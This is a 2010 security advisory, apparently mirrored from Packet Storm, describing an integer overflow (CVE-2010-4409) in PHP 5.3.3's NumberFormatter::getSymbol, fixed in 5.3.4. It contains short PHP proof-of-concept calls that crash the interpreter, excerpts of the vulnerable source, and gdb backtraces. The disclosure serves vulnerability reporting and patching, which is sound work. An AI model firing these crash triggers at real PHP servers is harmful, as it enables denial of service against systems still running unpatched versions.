PHP 5.3.3 Integer Overflow

2010-12-10T00:00:00
ID PACKETSTORM:96615
Type packetstorm
Reporter Maksymilian Arciemowicz
Modified 2010-12-10T00:00:00

Description

                                        
                                            `-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
[ PHP 5.3.3 NumberFormatter::getSymbol Integer Overflow ]  
  
Author: Maksymilian Arciemowicz  
http://securityreason.com/  
http://cxib.net/  
Date:  
- - Dis.: 11.11.2010  
- - Pub.: 10.12.2010  
  
CERT: VU#479900  
CVE: CVE-2010-4409  
CWE: CWE-189  
Status: Fixed in PHP 5.3.4  
  
Affected Software:  
- - PHP 5.3.3  
  
Original URL:  
http://securityreason.com/achievement_securityalert/91  
  
  
- --- 0.Description ---  
Internationalization extension (further is referred as Intl) is a wrapper for ICU library, enabling PHP programmers to perform UCA-conformant collation and date/time/number/currency formatting in their scripts.  
  
Number Formatter: allows to display number according to the localized format or given pattern or set of rules, and to parse strings into numbers.   
  
  
- --- 1. PoC for Integer Overflow ---  
$nx=new NumberFormatter("pl",1);  
$nx->getSymbol(2147483648);  
  
  
- --- 2. PHP 5.3.3/5.2.14 NumberFormatter::getSymbol Integer Overflow ---  
As we can see in  
  
- ---  
PHP_FUNCTION( numfmt_get_symbol )  
{  
long symbol;  
UChar value_buf[4];  
UChar *value = value_buf;  
int length = USIZE(value);  
FORMATTER_METHOD_INIT_VARS;  
  
/* Parse parameters. */  
if( zend_parse_method_parameters( ZEND_NUM_ARGS() TSRMLS_CC, getThis(),  
"Ol",  
&object, NumberFormatter_ce_ptr, &symbol ) == FAILURE )  
{  
intl_error_set( NULL, U_ILLEGAL_ARGUMENT_ERROR,  
"numfmt_get_symbol: unable to parse input params", 0 TSRMLS_CC );  
  
RETURN_FALSE;  
}  
  
/* Fetch the object. */  
FORMATTER_METHOD_FETCH_OBJECT;  
  
length = unum_getSymbol(FORMATTER_OBJECT(nfo), symbol, value_buf,  
length, &INTL_DATA_ERROR_CODE(nfo)); <================= !!!TO BIG INT HERE!!!  
...  
- ---  
  
will crash for differ value. example {2444492804, 2147483648,  
2147483649, 2554462209} (when rdi out off band (range 2to31 2to32 under 64bits linux)  
  
Program received signal SIGSEGV, Segmentation fault.  
0x00007fffedf317f5 in icu_4_2::UnicodeString::extract(unsigned short*,  
int, UErrorCode&) const () from /usr/lib/libicuuc.so.42  
(gdb) bt  
#0 0x00007fffedf317f5 in icu_4_2::UnicodeString::extract(unsigned  
short*, int, UErrorCode&) const () from /usr/lib/libicuuc.so.42  
#1 0x00007fffee5d11c0 in zif_numfmt_get_symbol (ht=17168120,  
return_value=0x105c928, return_value_ptr=0x4, this_ptr=0x105f710,  
return_value_used=17168144)  
at /build/buildd/php5-5.3.3/ext/intl/formatter/formatter_attr.c:269  
...blabla  
  
rip 0x7fffedf317f5 0x7fffedf317f5  
<icu_4_2::UnicodeString::extract(unsigned short*, int, UErrorCode&)  
const+21>  
eflags 0x10206 [ PF IF RF ]  
  
let`s see value ~4294901761  
  
$nx=new NumberFormatter("pl",1);  
$nx->getSymbol(4294901761);  
  
will crash in memcpy(3) ;]  
  
Program received signal SIGSEGV, Segmentation fault.  
memcpy () at ../sysdeps/x86_64/memcpy.S:90  
90 ../sysdeps/x86_64/memcpy.S: No such file or directory.  
in ../sysdeps/x86_64/memcpy.S  
(gdb) bt  
#0 memcpy () at ../sysdeps/x86_64/memcpy.S:90  
#1 0x00007fffea74a86a in icu_4_2::UnicodeString::extract(unsigned  
short*, int, UErrorCode&) const () from /usr/lib/libicuuc.so.42  
#2 0x00007fffeadea2b4 in zif_numfmt_get_symbol (ht=17826952,  
return_value=0x10fecd0, return_value_ptr=0xc, this_ptr=0x11004a0,  
return_value_used=17826976)  
at /build/buildd/php5-5.3.3/ext/intl/formatter/formatter_attr.c:274  
#3 0x00000000006e986a in zend_do_fcall_common_helper_SPEC (  
execute_data=0x7ffff7eb8068)  
at /build/buildd/php5-5.3.3/Zend/zend_vm_execute.h:316  
...  
  
let's see ICU UnicodeString::extract(unsigned short*, int, UErrorCode&)  
  
- ---  
int32_t  
UnicodeString::extract(UChar *dest, int32_t destCapacity,  
UErrorCode &errorCode) const {  
int32_t len = length();  
if(U_SUCCESS(errorCode)) {  
if(isBogus() || destCapacity<0 || (destCapacity>0 && dest==0)) {  
errorCode=U_ILLEGAL_ARGUMENT_ERROR;  
} else {  
const UChar *array = getArrayStart();  
if(len>0 && len<=destCapacity && array!=dest) {  
uprv_memcpy(dest, array, len*U_SIZEOF_UCHAR); <======= MEMCPY REFERENCE HERE  
}  
return u_terminateUChars(dest, destCapacity, len, &errorCode);  
}  
}  
  
return len;  
  
}  
- ---  
  
so crash in rip=memcpy(3).   
  
Method getLocal() also can generate simple crash (CWE-170)  
  
$nx=new IntlDateFormatter("pl", IntlDateFormatter::FULL,  
IntlDateFormatter::FULL);  
$nx->getLocale(1);  
  
  
- --- 3. Fix ---  
Fix in next PHP Version 5.3.4:  
http://www.kb.cert.org/vuls/id/479900  
  
SVN:  
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/intl/dateformat/dateformat_attr.c?view=log  
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/intl/formatter/formatter_attr.c?view=log  
  
  
- --- 4. Greets ---  
Special thanks for Pierre Joye and Stas Malyshev for very quickly fix  
Michael Orlando for security support  
  
and sp3x, Infospec  
  
  
- --- 5. Contact ---  
Author: SecurityReason.com [ Maksymilian Arciemowicz ]  
  
Email:  
- - cxib {a\./t] securityreason [d=t} com  
  
GPG:  
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg  
  
http://securityreason.com/  
http://cxib.net/  
-----BEGIN PGP SIGNATURE-----  
  
iQIcBAEBAgAGBQJNAio1AAoJEIO8+dzW5bUwwxkP/AilUgATowi4jQiNIUcBBuD5  
3Jvirho7YJMAK4k8EsbGXpPkZ1JmiuE+km3IUHdhkazBO3coUPRNvudZQoG2NbBa  
UteHQaMzGDPHXy9uR4izxhGHVcpnmpYKG9841OfNBIJ3/EDAn5nBKrNPtO+4brkh  
vcaglVL4McA+ww4iTbQ7mDLkwmwGsADH0JHrxrCRfB3IzkbaqIueNe//EaSzf9Zy  
4AUUIOb98jGxGlNVgfEOK1odAQKW+WupyEtuPIy+SYh7ZAi+N/6a17yLcbfEAiWX  
WKEbSHG0QtleKhiRzEedahfsAzXgct5UB/Clyj5QZn+gsI/hFM+yBdsq9FH2Lnuu  
HG2JCbMlGrKNxH/vF8tz/kvh/cWF+czmHuisNC4H6XCUmljEV2OLmI9JtRL8qZcs  
pUAcAPVCFF9mGOIOrVbdc4Hku6O/nvXmq/gKashiMbN5SFos/cNh/LxMICHq/HI0  
aS0TX2h+nplNSPQsx+65DSl8SMZyciU9dufcyRTnOIKWwLJfqlSmpwX/gxC1AXJm  
WVrjw6tGg8wB5iEru4Wl1D3DTlc57kGBFdStPflSooJO+1ZCiz8zfSt0RFLals2N  
P+lXJzhNox53cAARhbByqIWV+dR/Hrpsjp4ai1kgvgPwI78rJXWKsnEgc3dcntZf  
BW/ksdPomtWGWej1c4s4  
=+/YF  
-----END PGP SIGNATURE-----  
`